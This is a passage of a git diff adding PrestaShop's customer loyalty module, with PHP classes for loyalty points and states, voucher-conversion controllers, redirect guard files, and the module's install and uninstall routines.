(int)$newProduct->getDefaultIdProductAttribute()), 2, '.', ''); + $cartProductsNew['cart_quantity'] = 1; + $cartProducts[] = $cartProductsNew; + } + foreach ($cartProducts AS $product) + { + if (!(int)(Configuration::get('PS_LOYALTY_NONE_AWARD')) AND Product::isDiscounted((int)$product['id_product'])) + { + if (isset(Context::getContext()->smarty) AND is_object($newProduct) AND $product['id_product'] == $newProduct->id) + Context::getContext()->smarty->assign('no_pts_discounted', 1); + continue; + } + $total += ($taxesEnabled == PS_TAX_EXC ? $product['price'] : $product['price_wt'])* (int)($product['cart_quantity']); + } + foreach ($cart->getCartRules(false) AS $cart_rule) + $total -= $cart_rule['value_real']; + } + + return self::getNbPointsByPrice($total); + } + + public static function getVoucherValue($nbPoints, $id_currency = NULL) + { + $currency = $id_currency ? new Currency($id_currency) : Context::getContext()->currency->id; + + return (int)$nbPoints * (float)Tools::convertPrice(Configuration::get('PS_LOYALTY_POINT_VALUE'), $currency); + } + + public static function getNbPointsByPrice($price) + { + if (Configuration::get('PS_CURRENCY_DEFAULT') != Context::getContext()->currency->id) + { + if (Context::getContext()->currency->conversion_rate) + $price = $price / Context::getContext()->currency->conversion_rate; + } + + /* Prevent division by zero */ + $points = 0; + if ($pointRate = (float)(Configuration::get('PS_LOYALTY_POINT_RATE'))) + $points = floor(number_format($price, 2, '.', '') / $pointRate); + + return (int)$points; + } + + public static function getPointsByCustomer($id_customer) + { + return + Db::getInstance()->getValue(' + SELECT SUM(f.points) points + FROM `'._DB_PREFIX_.'loyalty` f + WHERE f.id_customer = '.(int)($id_customer).' + AND f.id_loyalty_state IN ('.(int)(LoyaltyStateModule::getValidationId()).', '.(int)(LoyaltyStateModule::getNoneAwardId()).')') + + + Db::getInstance()->getValue(' + SELECT SUM(f.points) points + FROM `'._DB_PREFIX_.'loyalty` f + WHERE f.id_customer = '.(int)($id_customer).' + AND f.id_loyalty_state = '.(int)LoyaltyStateModule::getCancelId().' AND points < 0'); + } + + public static function getAllByIdCustomer($id_customer, $id_lang, $onlyValidate = false, $pagination = false, $nb = 10, $page = 1) + { + $query = ' + SELECT f.id_order AS id, f.date_add AS date, (o.total_paid - o.total_shipping) total_without_shipping, f.points, f.id_loyalty, f.id_loyalty_state, fsl.name state + FROM `'._DB_PREFIX_.'loyalty` f + LEFT JOIN `'._DB_PREFIX_.'orders` o ON (f.id_order = o.id_order) + LEFT JOIN `'._DB_PREFIX_.'loyalty_state_lang` fsl ON (f.id_loyalty_state = fsl.id_loyalty_state AND fsl.id_lang = '.(int)($id_lang).') + WHERE f.id_customer = '.(int)($id_customer); + if ($onlyValidate === true) + $query .= ' AND f.id_loyalty_state = '.(int)LoyaltyStateModule::getValidationId(); + $query .= ' GROUP BY f.id_loyalty '. + ($pagination ? 'LIMIT '.(((int)($page) - 1) * (int)($nb)).', '.(int)($nb) : ''); + + return Db::getInstance()->executeS($query); + } + + public static function getDiscountByIdCustomer($id_customer, $last=false) + { + $query = ' + SELECT f.id_cart_rule AS id_cart_rule, f.date_upd AS date_add + FROM `'._DB_PREFIX_.'loyalty` f + LEFT JOIN `'._DB_PREFIX_.'orders` o ON (f.`id_order` = o.`id_order`) + WHERE f.`id_customer` = '.(int)($id_customer).' + AND f.`id_cart_rule` > 0 + AND o.`valid` = 1'; + if ($last === true) + $query.= ' ORDER BY f.id_loyalty DESC LIMIT 0,1'; + $query.= ' GROUP BY f.id_cart_rule'; + + return Db::getInstance()->executeS($query); + } + + public static function registerDiscount($cartRule) + { + if (!Validate::isLoadedObject($cartRule)) + die(Tools::displayError('Incorrect object CartRule.')); + $items = self::getAllByIdCustomer((int)$cartRule->id_customer, NULL, true); + foreach ($items AS $item) + { + $f = new LoyaltyModule((int)$item['id_loyalty']); + + /* Check for negative points for this order */ + $negativePoints = (int)Db::getInstance()->getValue('SELECT SUM(points) points FROM '._DB_PREFIX_.'loyalty WHERE id_order = '.(int)$f->id_order.' AND id_loyalty_state = '.(int)LoyaltyStateModule::getCancelId().' AND points < 0'); + + if ($f->points + $negativePoints <= 0) + continue; + + $f->id_cart_rule = (int)$cartRule->id; + $f->id_loyalty_state = (int)LoyaltyStateModule::getConvertId(); + $f->save(); + } + } + + public static function getOrdersByIdDiscount($id_cart_rule) + { + $items = Db::getInstance()->executeS(' + SELECT f.id_order AS id_order, f.points AS points, f.date_upd AS date + FROM `'._DB_PREFIX_.'loyalty` f + WHERE f.id_cart_rule = '.(int)$id_cart_rule.' AND f.id_loyalty_state = '.(int)LoyaltyStateModule::getConvertId()); + + if (!empty($items) AND is_array($items)) + { + foreach ($items AS $key => $item) + { + $order = new Order((int)$item['id_order']); + $items[$key]['id_currency'] = (int)$order->id_currency; + $items[$key]['id_lang'] = (int)$order->id_lang; + $items[$key]['total_paid'] = $order->total_paid; + $items[$key]['total_shipping'] = $order->total_shipping; + } + return $items; + } + + return false; + } + + /* Register all transaction in a specific history table */ + private function historize() + { + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'loyalty_history` (`id_loyalty`, `id_loyalty_state`, `points`, `date_add`) + VALUES ('.(int)($this->id).', '.(int)($this->id_loyalty_state).', '.(int)($this->points).', NOW())'); + } + +} diff --git a/modules/loyalty/LoyaltyStateModule.php b/modules/loyalty/LoyaltyStateModule.php new file mode 100755 index 0000000..baf6199 --- /dev/null +++ b/modules/loyalty/LoyaltyStateModule.php @@ -0,0 +1,81 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class LoyaltyStateModule extends ObjectModel +{ + public $name; + public $id_order_state; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'loyalty_state', + 'primary' => 'id_loyalty_state', + 'multilang' => true, + 'fields' => array( + 'id_order_state' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 128), + ), + ); + + public static function getDefaultId() { return 1; } + public static function getValidationId() { return 2; } + public static function getCancelId() { return 3; } + public static function getConvertId() { return 4; } + public static function getNoneAwardId() { return 5; } + + public static function insertDefaultData() + { + $loyaltyModule = new Loyalty(); + $languages = Language::getLanguages(); + + $defaultTranslations = array('default' => array('id_loyalty_state' => (int)LoyaltyStateModule::getDefaultId(), 'default' => $loyaltyModule->getL('Awaiting validation'), 'en' => 'Awaiting validation', 'fr' => 'En attente de validation')); + $defaultTranslations['validated'] = array('id_loyalty_state' => (int)LoyaltyStateModule::getValidationId(), 'id_order_state' => Configuration::get('PS_OS_DELIVERED'), 'default' => $loyaltyModule->getL('Available'), 'en' => 'Available', 'fr' => 'Disponible'); + $defaultTranslations['cancelled'] = array('id_loyalty_state' => (int)LoyaltyStateModule::getCancelId(), 'id_order_state' => Configuration::get('PS_OS_CANCELED'), 'default' => $loyaltyModule->getL('Cancelled'), 'en' => 'Cancelled', 'fr' => 'Annulés'); + $defaultTranslations['converted'] = array('id_loyalty_state' => (int)LoyaltyStateModule::getConvertId(), 'default' => $loyaltyModule->getL('Already converted'), 'en' => 'Already converted', 'fr' => 'Déjà convertis'); + $defaultTranslations['none_award'] = array('id_loyalty_state' => (int)LoyaltyStateModule::getNoneAwardId(), 'default' => $loyaltyModule->getL('Unavailable on discounts'), 'en' => 'Unavailable on discounts', 'fr' => 'Non disponbile sur produits remisés'); + + foreach ($defaultTranslations AS $loyaltyState) + { + $state = new LoyaltyStateModule((int)$loyaltyState['id_loyalty_state']); + if (isset($loyaltyState['id_order_state'])) + $state->id_order_state = (int)$loyaltyState['id_order_state']; + $state->name[(int)Configuration::get('PS_LANG_DEFAULT')] = $loyaltyState['default']; + foreach ($languages AS $language) + if (isset($loyaltyState[$language['iso_code']])) + $state->name[(int)$language['id_lang']] = $loyaltyState[$language['iso_code']]; + $state->save(); + } + + return true; + } +} diff --git a/modules/loyalty/controllers/front/default.php b/modules/loyalty/controllers/front/default.php new file mode 100755 index 0000000..6f926fa --- /dev/null +++ b/modules/loyalty/controllers/front/default.php @@ -0,0 +1,231 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class LoyaltyDefaultModuleFrontController extends ModuleFrontController +{ + public function __construct() + { + $this->auth = true; + parent::__construct(); + + $this->context = Context::getContext(); + + include_once($this->module->getLocalPath().'LoyaltyModule.php'); + include_once($this->module->getLocalPath().'LoyaltyStateModule.php'); + + // Declare smarty function to render pagination link + smartyRegisterFunction($this->context->smarty, 'function', 'summarypaginationlink', array('LoyaltyDefaultModuleFrontController', 'getSummaryPaginationLink')); + } + + /** + * @see FrontController::postProcess() + */ + public function postProcess() + { + if (Tools::getValue('process') == 'transformpoints') + $this->processTransformPoints(); + } + + /** + * Transform loyalty point to a voucher + */ + public function processTransformPoints() + { + $customer_points = (int)LoyaltyModule::getPointsByCustomer((int)$this->context->customer->id); + if ($customer_points > 0) + { + /* Generate a voucher code */ + $voucher_code = null; + do + $voucher_code = 'FID'.rand(1000, 100000); + while (CartRule::cartRuleExists($voucher_code)); + + // Voucher creation and affectation to the customer + $cart_rule = new CartRule(); + $cart_rule->code = $voucher_code; + $cart_rule->id_customer = (int)$this->context->customer->id; + $cart_rule->reduction_currency = (int)$this->context->currency->id; + $cart_rule->reduction_amount = LoyaltyModule::getVoucherValue((int)$customer_points); + $cart_rule->quantity = 1; + $cart_rule->quantity_per_user = 1; + + // If merchandise returns are allowed, the voucher musn't be usable before this max return date + $date_from = Db::getInstance()->getValue(' + SELECT UNIX_TIMESTAMP(date_add) n + FROM '._DB_PREFIX_.'loyalty + WHERE id_cart_rule = 0 AND id_customer = '.(int)$this->context->cookie->id_customer.' + ORDER BY date_add DESC'); + + if (Configuration::get('PS_ORDER_RETURN')) + $date_from += 60 * 60 * 24 * (int)Configuration::get('PS_ORDER_RETURN_NB_DAYS'); + + $cart_rule->date_from = date('Y-m-d H:i:s', $date_from); + $cart_rule->date_to = date('Y-m-d H:i:s', strtotime($cart_rule->date_from.' +1 year')); + + $cart_rule->minimum_amount = (float)Configuration::get('PS_LOYALTY_MINIMAL'); + $cart_rule->active = 1; + + $categories = Configuration::get('PS_LOYALTY_VOUCHER_CATEGORY'); + if ($categories != '' && $categories != 0) + $categories = explode(',', Configuration::get('PS_LOYALTY_VOUCHER_CATEGORY')); + else + die (Tools::displayError()); + + $languages = Language::getLanguages(true); + $default_text = Configuration::get('PS_LOYALTY_VOUCHER_DETAILS', (int)Configuration::get('PS_LANG_DEFAULT')); + + foreach ($languages as $language) + { + $text = Configuration::get('PS_LOYALTY_VOUCHER_DETAILS', (int)$language['id_lang']); + $cart_rule->name[(int)$language['id_lang']] = $text ? strval($text) : strval($default_text); + } + + if (is_array($categories) && count($categories)) + $cart_rule->add(true, false, $categories); + else + $cart_rule->add(); + + // Register order(s) which contributed to create this voucher + LoyaltyModule::registerDiscount($cart_rule); + + Tools::redirect($this->context->link->getModuleLink('loyalty', 'default', array('process' => 'summary'))); + } + } + + /** + * @see FrontController::initContent() + */ + public function initContent() + { + $this->display_column_left = false; + parent::initContent(); + $this->context->controller->addJqueryPlugin(array('dimensions', 'cluetip')); + + if (Tools::getValue('process') == 'summary') + $this->assignSummaryExecution(); + } + + /** + * Render pagination link for summary + * + * @param (array) $params Array with to parameters p (for page number) and n (for nb of items per page) + * @return string link + */ + public static function getSummaryPaginationLink($params, &$smarty) + { + if (!isset($params['p'])) + $p = 1; + else + $p = $params['p']; + + if (!isset($params['n'])) + $n = 10; + else + $n = $params['n']; + + return Context::getContext()->link->getModuleLink( + 'loyalty', + 'default', + array( + 'process' => 'summary', + 'p' => $p, + 'n' => $n, + ) + ); + } + + /** + * Assign summary template + */ + public function assignSummaryExecution() + { + $customer_points = (int)LoyaltyModule::getPointsByCustomer((int)$this->context->customer->id); + $orders = LoyaltyModule::getAllByIdCustomer((int)$this->context->customer->id, (int)$this->context->language->id); + $displayorders = LoyaltyModule::getAllByIdCustomer( + (int)$this->context->customer->id, + (int)$this->context->language->id, false, true, + ((int)Tools::getValue('n') > 0 ? (int)Tools::getValue('n') : 10), + ((int)Tools::getValue('p') > 0 ? (int)Tools::getValue('p') : 1) + ); + $this->context->smarty->assign(array( + 'orders' => $orders, + 'displayorders' => $displayorders, + 'totalPoints' => (int)$customer_points, + 'voucher' => LoyaltyModule::getVoucherValue($customer_points, (int)$this->context->currency->id), + 'validation_id' => LoyaltyStateModule::getValidationId(), + 'transformation_allowed' => $customer_points > 0, + 'page' => ((int)Tools::getValue('p') > 0 ? (int)Tools::getValue('p') : 1), + 'nbpagination' => ((int)Tools::getValue('n') > 0 ? (int)Tools::getValue('n') : 10), + 'nArray' => array(10, 20, 50), + 'max_page' => floor(count($orders) / ((int)Tools::getValue('n') > 0 ? (int)Tools::getValue('n') : 10)), + 'pagination_link' => $this->getSummaryPaginationLink(array(), $this->context->smarty) + )); + + /* Discounts */ + $nb_discounts = 0; + $discounts = array(); + if ($ids_discount = LoyaltyModule::getDiscountByIdCustomer((int)$this->context->customer->id)) + { + $nb_discounts = count($ids_discount); + foreach ($ids_discount as $key => $discount) + { + $discounts[$key] = new CartRule((int)$discount['id_cart_rule'], (int)$this->context->cookie->id_lang); + $discounts[$key]->orders = LoyaltyModule::getOrdersByIdDiscount((int)$discount['id_cart_rule']); + } + } + + $all_categories = Category::getSimpleCategories((int)$this->context->cookie->id_lang); + $voucher_categories = Configuration::get('PS_LOYALTY_VOUCHER_CATEGORY'); + if ($voucher_categories != '' && $voucher_categories != 0) + $voucher_categories = explode(',', Configuration::get('PS_LOYALTY_VOUCHER_CATEGORY')); + else + die(Tools::displayError()); + + if (count($voucher_categories) == count($all_categories)) + $categories_names = null; + else + { + $categories_names = array(); + foreach ($all_categories as $k => $all_category) + if (in_array($all_category['id_category'], $voucher_categories)) + $categories_names[$all_category['id_category']] = trim($all_category['name']); + if (!empty($categories_names)) + $categories_names = Tools::truncate(implode(', ', $categories_names), 100).'.'; + else + $categories_names = null; + } + $this->context->smarty->assign(array( + 'nbDiscounts' => (int)$nb_discounts, + 'discounts' => $discounts, + 'minimalLoyalty' => (float)Configuration::get('PS_LOYALTY_MINIMAL'), + 'categories' => $categories_names)); + + $this->setTemplate('loyalty.tpl'); + } +} diff --git a/modules/loyalty/controllers/front/index.php b/modules/loyalty/controllers/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/loyalty/controllers/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/loyalty/controllers/index.php b/modules/loyalty/controllers/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/loyalty/controllers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/loyalty/images/index.php b/modules/loyalty/images/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/loyalty/images/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/loyalty/images/loyalty.gif b/modules/loyalty/images/loyalty.gif new file mode 100755 index 0000000..29b1984 Binary files /dev/null and b/modules/loyalty/images/loyalty.gif differ diff --git a/modules/loyalty/index.php b/modules/loyalty/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/loyalty/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/loyalty/logo.gif b/modules/loyalty/logo.gif new file mode 100755 index 0000000..039f3fa Binary files /dev/null and b/modules/loyalty/logo.gif differ diff --git a/modules/loyalty/logo.png b/modules/loyalty/logo.png new file mode 100755 index 0000000..3d85cb0 Binary files /dev/null and b/modules/loyalty/logo.png differ diff --git a/modules/loyalty/loyalty-program.php b/modules/loyalty/loyalty-program.php new file mode 100755 index 0000000..3843add --- /dev/null +++ b/modules/loyalty/loyalty-program.php @@ -0,0 +1,167 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* SSL Management */ +$useSSL = true; + +require_once(dirname(__FILE__).'/../../config/config.inc.php'); +require_once(dirname(__FILE__).'/../../init.php'); + +include_once(dirname(__FILE__).'/LoyaltyModule.php'); +include_once(dirname(__FILE__).'/LoyaltyStateModule.php'); +include_once(dirname(__FILE__).'/loyalty.php'); + +Tools::displayFileAsDeprecated(); + +$context = Context::getContext(); +if (!$context->customer->isLogged()) + Tools::redirect('index.php?controller=authentication&back=modules/loyalty/loyalty-program.php'); + +$context->controller->addJqueryPlugin(array('dimensions', 'cluetip')); + +$customerPoints = (int)(LoyaltyModule::getPointsByCustomer((int)($cookie->id_customer))); + +/* transform point into voucher if needed */ +if (Tools::getValue('transform-points') == 'true' AND $customerPoints > 0) +{ + /* Generate a voucher code */ + $voucherCode = NULL; + do + $voucherCode = 'FID'.rand(1000, 100000); + while (CartRule::cartRuleExists($voucherCode)); + + /* Voucher creation and affectation to the customer */ + $cartRule = new CartRule(); + $cartRule->code = $voucherCode; + $cartRule->id_customer = (int)$context->customer->id; + $cartRule->id_currency = (int)$context->currency->id; + $cartRule->reduction_amount = LoyaltyModule::getVoucherValue((int)$customerPoints); + $cartRule->quantity = 1; + $cartRule->quantity_per_user = 1; + + /* If merchandise returns are allowed, the voucher musn't be usable before this max return date */ + $dateFrom = Db::getInstance()->getValue(' + SELECT UNIX_TIMESTAMP(date_add) n + FROM '._DB_PREFIX_.'loyalty + WHERE id_cart_rule = 0 AND id_customer = '.(int)$cookie->id_customer.' + ORDER BY date_add DESC'); + + if (Configuration::get('PS_ORDER_RETURN')) + $dateFrom += 60 * 60 * 24 * (int)Configuration::get('PS_ORDER_RETURN_NB_DAYS'); + + $cartRule->date_from = date('Y-m-d H:i:s', $dateFrom); + $cartRule->date_to = date('Y-m-d H:i:s', $dateFrom + 31536000); // + 1 year + + $cartRule->minimum_amount = (float)Configuration::get('PS_LOYALTY_MINIMAL'); + $cartRule->active = 1; + + $categories = Configuration::get('PS_LOYALTY_VOUCHER_CATEGORY'); + if ($categories != '' AND $categories != 0) + $categories = explode(',', Configuration::get('PS_LOYALTY_VOUCHER_CATEGORY')); + else + die (Tools::displayError()); + + $languages = Language::getLanguages(true); + $default_text = Configuration::get('PS_LOYALTY_VOUCHER_DETAILS', (int)Configuration::get('PS_LANG_DEFAULT')); + + foreach ($languages AS $language) + { + $text = Configuration::get('PS_LOYALTY_VOUCHER_DETAILS', (int)$language['id_lang']); + $cartRule->name[(int)$language['id_lang']] = $text ? strval($text) : strval($default_text); + } + + if (is_array($categories) AND sizeof($categories)) + $cartRule->add(true, false, $categories); + else + $cartRule->add(); + + /* Register order(s) which contributed to create this voucher */ + LoyaltyModule::registerDiscount($cartRule); + + Tools::redirect('modules/loyalty/loyalty-program.php'); +} + +include(dirname(__FILE__).'/../../header.php'); + +$orders = LoyaltyModule::getAllByIdCustomer((int)($cookie->id_customer), (int)($cookie->id_lang)); +$displayorders = LoyaltyModule::getAllByIdCustomer((int)($cookie->id_customer), (int)($cookie->id_lang), false, true, ((int)(Tools::getValue('n')) > 0 ? (int)(Tools::getValue('n')) : 10), ((int)(Tools::getValue('p')) > 0 ? (int)(Tools::getValue('p')) : 1)); +$smarty->assign(array( + 'orders' => $orders, + 'displayorders' => $displayorders, + 'pagination_link' => __PS_BASE_URI__.'modules/loyalty/loyalty-program.php', + 'totalPoints' => (int)$customerPoints, + 'voucher' => LoyaltyModule::getVoucherValue($customerPoints, (int)$context->currency->id), + 'validation_id' => LoyaltyStateModule::getValidationId(), + 'transformation_allowed' => $customerPoints > 0, + 'page' => ((int)(Tools::getValue('p')) > 0 ? (int)(Tools::getValue('p')) : 1), + 'nbpagination' => ((int)(Tools::getValue('n') > 0) ? (int)(Tools::getValue('n')) : 10), + 'nArray' => array(10, 20, 50), + 'max_page' => floor(sizeof($orders) / ((int)(Tools::getValue('n') > 0) ? (int)(Tools::getValue('n')) : 10)) +)); + +/* Discounts */ +$nbDiscounts = 0; +$discounts = array(); +if ($ids_discount = LoyaltyModule::getDiscountByIdCustomer((int)$cookie->id_customer)) +{ + $nbDiscounts = count($ids_discount); + foreach ($ids_discount AS $key => $discount) + { + $discounts[$key] = new Discount((int)$discount['id_cart_rule'], (int)$cookie->id_lang); + $discounts[$key]->orders = LoyaltyModule::getOrdersByIdDiscount((int)$discount['id_cart_rule']); + } +} + +$allCategories = Category::getSimpleCategories((int)($cookie->id_lang)); +$voucherCategories = Configuration::get('PS_LOYALTY_VOUCHER_CATEGORY'); +if ($voucherCategories != '' AND $voucherCategories != 0) + $voucherCategories = explode(',', Configuration::get('PS_LOYALTY_VOUCHER_CATEGORY')); +else + die(Tools::displayError()); + +if (sizeof($voucherCategories) == sizeof($allCategories)) + $categoriesNames = null; +else +{ + $categoriesNames = array(); + foreach ($allCategories AS $k => $allCategory) + if (in_array($allCategory['id_category'], $voucherCategories)) + $categoriesNames[$allCategory['id_category']] = trim($allCategory['name']); + if (!empty($categoriesNames)) + $categoriesNames = Tools::truncate(implode(', ', $categoriesNames), 100).'.'; + else + $categoriesNames = null; +} +$smarty->assign(array( + 'nbDiscounts' => (int)$nbDiscounts, + 'discounts' => $discounts, + 'minimalLoyalty' => (float)Configuration::get('PS_LOYALTY_MINIMAL'), + 'categories' => $categoriesNames)); + +$loyalty = new Loyalty(); +echo $loyalty->display(dirname(__FILE__).'/loyalty.php', 'loyalty.tpl'); + +include(dirname(__FILE__).'/../../footer.php'); diff --git a/modules/loyalty/loyalty.gif b/modules/loyalty/loyalty.gif new file mode 100755 index 0000000..039f3fa Binary files /dev/null and b/modules/loyalty/loyalty.gif differ diff --git a/modules/loyalty/loyalty.php b/modules/loyalty/loyalty.php new file mode 100755 index 0000000..1c27625 --- /dev/null +++ b/modules/loyalty/loyalty.php @@ -0,0 +1,674 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +/* +* TODO: +* +* - Bad behaviour when an order is cancelled after an order return +* - We shouldn't use $cookie->id_currency in all situations +*/ + +class Loyalty extends Module +{ + public function __construct() + { + $this->name = 'loyalty'; + $this->tab = 'pricing_promotion'; + $this->version = '1.8'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Customer loyalty and rewards'); + $this->description = $this->l('Provide a loyalty program to your customers.'); + $this->confirmUninstall = $this->l('Are you sure you want to delete all loyalty points and customer history?'); + } + + private function instanceDefaultStates() + { + include_once(dirname(__FILE__).'/LoyaltyStateModule.php'); + + /* Recover default loyalty status save at module installation */ + $this->loyaltyStateDefault = new LoyaltyStateModule(LoyaltyStateModule::getDefaultId()); + $this->loyaltyStateValidation = new LoyaltyStateModule(LoyaltyStateModule::getValidationId()); + $this->loyaltyStateCancel = new LoyaltyStateModule(LoyaltyStateModule::getCancelId()); + $this->loyaltyStateConvert = new LoyaltyStateModule(LoyaltyStateModule::getConvertId()); + $this->loyaltyStateNoneAward = new LoyaltyStateModule(LoyaltyStateModule::getNoneAwardId()); + } + + public function install() + { + include_once(dirname(__FILE__).'/LoyaltyStateModule.php'); + + if (!parent::install() || !$this->installDB() || !$this->registerHook('extraRight') || !$this->registerHook('updateOrderStatus') + || !$this->registerHook('newOrder') || !$this->registerHook('adminCustomers') || !$this->registerHook('shoppingCart') + || !$this->registerHook('orderReturn') || !$this->registerHook('cancelProduct') || !$this->registerHook('customerAccount') + || !Configuration::updateValue('PS_LOYALTY_POINT_VALUE', '0.20') || !Configuration::updateValue('PS_LOYALTY_MINIMAL', 0) + || !Configuration::updateValue('PS_LOYALTY_POINT_RATE', '10') || !Configuration::updateValue('PS_LOYALTY_NONE_AWARD', '1')) + return false; + + $defaultTranslations = array('en' => 'Loyalty reward', 'fr' => 'Récompense fidélité'); + $conf = array((int)Configuration::get('PS_LANG_DEFAULT') => $this->l('Loyalty reward')); + foreach (Language::getLanguages() as $language) + if (isset($defaultTranslations[$language['iso_code']])) + $conf[(int)$language['id_lang']] = $defaultTranslations[$language['iso_code']]; + Configuration::updateValue('PS_LOYALTY_VOUCHER_DETAILS', $conf); + + $category_config = ''; + $categories = Category::getSimpleCategories((int)Configuration::get('PS_LANG_DEFAULT')); + foreach ($categories as $category) + $category_config .= (int)$category['id_category'].','; + $category_config = rtrim($category_config, ','); + Configuration::updateValue('PS_LOYALTY_VOUCHER_CATEGORY', $category_config); + + /* This hook is optional */ + $this->registerHook('displayMyAccountBlock'); + if (!LoyaltyStateModule::insertDefaultData()) + return false; + return true; + } + + public function installDB() + { + Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'loyalty` ( + `id_loyalty` INT UNSIGNED NOT NULL AUTO_INCREMENT, + `id_loyalty_state` INT UNSIGNED NOT NULL DEFAULT 1, + `id_customer` INT UNSIGNED NOT NULL, + `id_order` INT UNSIGNED DEFAULT NULL, + `id_cart_rule` INT UNSIGNED DEFAULT NULL, + `points` INT NOT NULL DEFAULT 0, + `date_add` DATETIME NOT NULL, + `date_upd` DATETIME NOT NULL, + PRIMARY KEY (`id_loyalty`), + INDEX index_loyalty_loyalty_state (`id_loyalty_state`), + INDEX index_loyalty_order (`id_order`), + INDEX index_loyalty_discount (`id_cart_rule`), + INDEX index_loyalty_customer (`id_customer`) + ) DEFAULT CHARSET=utf8 ;'); + + Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'loyalty_history` ( + `id_loyalty_history` INT UNSIGNED NOT NULL AUTO_INCREMENT, + `id_loyalty` INT UNSIGNED DEFAULT NULL, + `id_loyalty_state` INT UNSIGNED NOT NULL DEFAULT 1, + `points` INT NOT NULL DEFAULT 0, + `date_add` DATETIME NOT NULL, + PRIMARY KEY (`id_loyalty_history`), + INDEX `index_loyalty_history_loyalty` (`id_loyalty`), + INDEX `index_loyalty_history_loyalty_state` (`id_loyalty_state`) + ) DEFAULT CHARSET=utf8 ;'); + + Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'loyalty_state` ( + `id_loyalty_state` INT UNSIGNED NOT NULL AUTO_INCREMENT, + `id_order_state` INT UNSIGNED DEFAULT NULL, + PRIMARY KEY (`id_loyalty_state`), + INDEX index_loyalty_state_order_state (`id_order_state`) + ) DEFAULT CHARSET=utf8 ;'); + + Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'loyalty_state_lang` ( + `id_loyalty_state` INT UNSIGNED NOT NULL AUTO_INCREMENT, + `id_lang` INT UNSIGNED NOT NULL, + `name` varchar(64) NOT NULL, + UNIQUE KEY `index_unique_loyalty_state_lang` (`id_loyalty_state`,`id_lang`) + ) DEFAULT CHARSET=utf8 ;'); + + return true; + } + + public function uninstall() + { + if (!parent::uninstall() || !$this->uninstallDB() || !Configuration::deleteByName('PS_LOYALTY_POINT_VALUE') || !Configuration::deleteByName('PS_LOYALTY_POINT_RATE') + || !Configuration::deleteByName('PS_LOYALTY_NONE_AWARD') || !Configuration::deleteByName('PS_LOYALTY_MINIMAL') || !Configuration::deleteByName('PS_LOYALTY_VOUCHER_CATEGORY') + || !Configuration::deleteByName('PS_LOYALTY_VOUCHER_DETAILS')) + return false; + return true; + } + + public function uninstallDB() + { + Db::getInstance()->execute('DROP TABLE `'._DB_PREFIX_.'loyalty`;'); + Db::getInstance()->execute('DROP TABLE `'._DB_PREFIX_.'loyalty_state`;'); + Db::getInstance()->execute('DROP TABLE `'._DB_PREFIX_.'loyalty_state_lang`;'); + Db::getInstance()->execute('DROP TABLE `'._DB_PREFIX_.'loyalty_history`;'); + + return true; + } + + private function 